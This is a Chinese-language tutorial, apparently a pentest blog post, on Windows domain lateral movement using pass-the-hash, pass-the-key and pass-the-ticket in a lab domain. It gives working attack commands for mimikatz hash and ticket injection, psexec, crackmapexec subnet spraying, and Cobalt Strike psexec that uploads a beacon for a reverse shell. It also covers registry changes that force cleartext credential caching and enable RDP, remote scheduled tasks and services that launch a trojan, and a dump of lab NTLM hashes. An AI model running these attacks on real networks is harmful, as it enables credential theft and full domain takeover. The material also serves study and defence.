PTH哈希传递攻击

攻击原理

PTH(Pass The Hash),哈希传递攻击。NTML认证和Kerberos认证中,都使用的用户NTML-HASH进行认证,

当得知对方的NTLN-Hash值之后就可以使用PTH进行认证攻击。

内网环境中,域内账户大多采用相同的密码,当知道了某一账户NTML后,可以尝试PTH攻击域内其他机器。

注意:补丁kb2871997,没打补丁用户都可以连接,打了补丁只能administrator连接

利用条件

  1. 有管理员的NTML HASH,目标机器445端口开放
  2. 内网中使用相同的账户密码

不同账户PTH区别

以下是不同权限账户PTH的结果。

本地最高管理员账户(administrator),进行hash传递

机器版本 结果
win 2003 ✔️
win 2008 ✔️
win 2012 ✔️
win 2016 ✔️
Win 10 ✔️

本地普通管理员账户(admin)

机器版本 结果
win 2003 ✔️
win 2008 ✖️
win 2012 ✖️
win 2016 ✖️
Win 10 ✖️

域内最高管理员(Administrator)

机器版本 结果
win 2003 ✔️
win 2008 ✖️
win 2012 ✖️
win 2016 ✖️
Win 10 ✖️

域内普通管理员

机器版本 结果
win 2003 ✔️
win 2008 ✔️
win 2012 ✔️
win 2016 ✔️
Win 10 ✔️

域内普通用户

机器版本 结果
win 2003 ✖️
win 2008 ✖️
win 2012 ✖️
win 2016 ✖️
Win 10 ✖️

攻击方式

mimikatz

1
mimikatz.exe “privilege::debug” “sekurlsa::pth /user:用户名 /domain:域名或者IP /ntlm:ntlm-hash

下面以域内最高管理员(administrator)作演示

1
2
3
4
5
6
7
8
9
10
11
#抓取域控存储的各用户hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:81be2f80d568100549beac645d6a7141:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:a45a7246dd74b64a67f22fd7020f1bd8:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:58e91a5ac358d86513ab224312314061:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:81be2f80d568100549beac645d6a7141:::
ligang:1106:aad3b435b51404eeaad3b435b51404ee:1e3d22f88dfd250c9312d21686c60f41:::
dyh:1108:aad3b435b51404eeaad3b435b51404ee:81be2f80d568100549beac645d6a7141:::
OWA$:1001:aad3b435b51404eeaad3b435b51404ee:59d8e2ea9c74975f65c592155b171de6:::
ROOT-TVI862UBEH$:1104:aad3b435b51404eeaad3b435b51404ee:6bbf3561300bef0e1f8e3fadec53500e:::
STU1$:1105:aad3b435b51404eeaad3b435b51404ee:9bd195afa53062fcde6b78c3779133f4:::
DEV1$:1107:aad3b435b51404eeaad3b435b51404ee:bed18e5b9d13bb384a3041a10d43c01b:::

在没有进行pth攻击前,直接访问目标机器为拒绝访问

image-20231101204057033

使用mimikatz进行pth攻击,传入ntml-hash

1
2
mimikatz.exe sekurlsa::pth /user:administrator /domain:god.org /ntlm:ntlm-hash
#这里域内账户,所以domain填写域名

image-20231101204024591

Psexec.exe

Psexec也可以进行pth攻击。

1
2
psexec.exe 域名/用户们@目标机器 -hashes LM:NTLM
#LM:NTML通过cs hashdump可查看

administrator用户横向测试

image-20231101214544819

批量pth攻击

Invoke-Thehash

这个我没有利用成功,貌似是因为版本的问题

1
2
3
4
5
6
7
Import-Module .Invoke-TheHash.ps1(导入批量模块)

Import-Module .Invoke-WMIExec.ps1(导入wmi模块)

Invoke-TheHash -Type WMIExec -Target 192.168.41.0/24 -Username administrator -Hash

hash值

crackmapexec.exe

1
2
crackmapexec.exe 192.168.41.0/24 -u administrator -H LM:NTML
#因为LM是禁用状态,所以LM:NTLM前面部分可以随便写,但是格式要相同

image-20231102150729037

PTH上线主机

手动的情况下就是配合计划任务之类进行上线。

下面是一些工具上线的方式

方式一:通过cs上线

  1. 找到目标ip,jump-psexec

image-20231102152056364

  1. 找到本地抓取的凭证,选择administrator的hash

Listener:监听器

Session:通过哪个机器/用户进行传递

image-20231102152406536

  1. 查看结果

image-20231102153720782

image-20231102153802875

CS内部处理流程

先建立pth连接

1
pth god.org\Administrator 81be2f80d568100549beac645d6a7141
1
jump psexec64 STU1 host机器jump

上传文件到对方本地 (\STU1\ADMIN$\8aa9925.exe),执行反弹shell

方式二:通过mimikatz上线

mimikatz进行pth传递后,弹出cmd窗口,选择计划任务或者sc服务进行上线。

方式三:impacket包中的工具

下载地址:https://www.secureauth.com/labs/open-source-tools/impacket/

Psexec.exe

wmiexec.exe

1
2
3
4
用户名:密码@IP地址
用户名@IP地址 -hashes LM-HASH:NTLM-HASH
域名/域账号:密码@IP地址(或者全域名)
域名/域账号@IP地址(或者全域名) -hashes LM-HASH:NTLM-HASH

可以配合powershell无文件落地进行上线

方式四:配合RDP上线

Restricted Admin mode:使用当前Windows登录凭据,不需要输入口令,通过该配置可以实现pth攻击

1
2
3
4
5
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
#开启3389
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t
REG_DWORD /d 00000000 /f
#开启"Restricted Admin Mode"

若机器不支持Restricted Admin mode,则会出现提示

image-20231103153105650

PTK 密钥传递攻击

这里实际测试的时候有一点问题,由于mac下不太方便安装新的域环境,后面重新测试一下ptk攻击。暂时可以略过ptk这部分

kb2871997补丁

打了补丁之后的功能

1.支持”Protected Users”组

“Protected Users”组是Windows Server 2012 R2域中的安全组,**”Protected Users”组的成员会被强制使用Kerberos身份验证,并且对Kerberos强制执行AES加密。**(2012之前版本的域控安装了补丁后也会有该组)。所以在mimikatz中,对于该组内的用户使用ptk时会失效,因为mimikatz是用的ntml认证,此时只能换其他工具。

2.LSASS中默认禁用wdigest协议

所以win server2012抓明文需要修改注册表,并且UseLogonCredential默认为0,修改UseLogonCredential值设置为1,WDigest将在内存中存储凭据。

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

3.注销后删除LSASS中的凭据

打补丁之前,只要用户登录系统,Windows就会在lsass中缓存用户的凭据信息

4.添加两个新的SID

攻击原理

PTH(Pass The Key),密钥传递攻击,PTH使用的是NTLM-HASH值,PTK攻击是使用的AES128、AES256,所以该攻击只存在于kerberos协议中。

如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击,

win7打补丁前,可以正常抓取

image-20231105110537601

先给win7安装补丁https://www.catalog.update.microsoft.com/Search.aspx?q=kb2871997

image-20231105102626383

image-20231105103018998

利用mimikatz抓取aeskey

1
sekurlsa::ekeys

如果机器没有加入域,是抓不到对应AES值的。

打补丁后,抓不到用户明文密码

image-20231105103255110

利用条件

1
2
3
域控机器:192.168.52.138  账户:liukaifeng01(普通域用户)

控制靶机:192.168.52.143 账户

错误方法

1
sekurlsa::pth /user:administrator /domain:god.org /aes256:xxx

通过mimikatz进行ptk攻击,是走的ntml认证,而不是kerberos认证。

攻击方式

PTT票据传递攻击

用票据进行认证,只能用于kerberos认证

黄金、白银票据是用于权限维持。

攻击原理

PTK(Pass The Ticket),票据传递攻击,PTT 攻击只能用于kerberos认证中,NTLM认证中没有,PTT是通过票据进行认证的。进行票据传递,不需要提权,域用户或者system用户就可以。

利用条件

  1. 必须是域环境,域内才可以PTT
  2. 必须拥有相应的票据(域管理员票据最佳)

攻击方式

1、利用getTGT或者kekeo申请不同用户的票据

2、利用mimikatz进行票据传递

getTGT.exe生成ccache格式票据

kekeo生成kiribi格式票据

1
2
3
4
5
6
7
klist        #查看内存中票据
klist purge #清除票据
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将ccache票据注入到内存中
mimikatz # kerberos::ptt 票据文件 //将kirbi格式票据注入到内存中
getTGT.EXE god.org/administrator:hongrisec@2020 #生成administrator的TGT票据、hash值也可以

票据未导入前liukaifeng01(域内普通用户)访问域控失败

image-20231105144211073

通过hash值传入生成TGT票据(dyh是域内普通管理员)

image-20231105143940034

查看当前内存的票据

image-20231105144347157

清除当前内存的票据

image-20231105144408976

通过mimikatz导入票据

image-20231105144538080

查看当前票据

image-20231105144637664

这里不知道为什么dir域控hostnmae可以访问,但是ip不能。()

image-20231105145104613

PTT上线方法

有很多种情况

  1. 机器上登录的域管账号,或者存在域管的票据
  2. 普通域账号

第二种情况下,先制作票据。

这里在cs里面执行会出现这个错误,暂时不知道怎么解决,就直接远程桌面搞了。

image-20231105204709765

1
"tgt::ask /user:administrator /domain:god.org /ntlm:81be2f80d568100549beac645d6a7141"

image-20231105204407395

image-20231105204424130

复制cs木马到目标机器

image-20231105204532218

为了方便起见,这里域控也是双网卡,方便上线

使用计划任务上线

1
2
3
shell schtasks /create /s owa.god.org /ru system /tn webtest /tr c:\web.exe /sc onstart

shell schtasks /s owa.god.org /run /tn web1

image-20231105205832790

通过sc服务上线

1
2
3
4
5
shell sc \\owa.god.org create web binpath= "cmd /c c:\web.exe" 
#创建服务

shell sc \\owa.god.org web start
#启动服务

成功上线

image-20231105210552061

image-20231106102122785

PTH、PTK、PTT对比

PTH:用NTLM-HASH值进行认证-支持kerberos和NTLM认证

PTK:用AES值进行认证-只能用于kerberos认证

PTT:用票据进行认证-只能用于kerberos认证

参考文章

https://www.cnblogs.com/zpchcbd/p/12521703.html

https://www.anquanke.com/post/id/193150

https://blog.sycsec.com/2018/10/02/What-is-Pass-the-Hash-and-the-Limitations-of-mitigation-methods/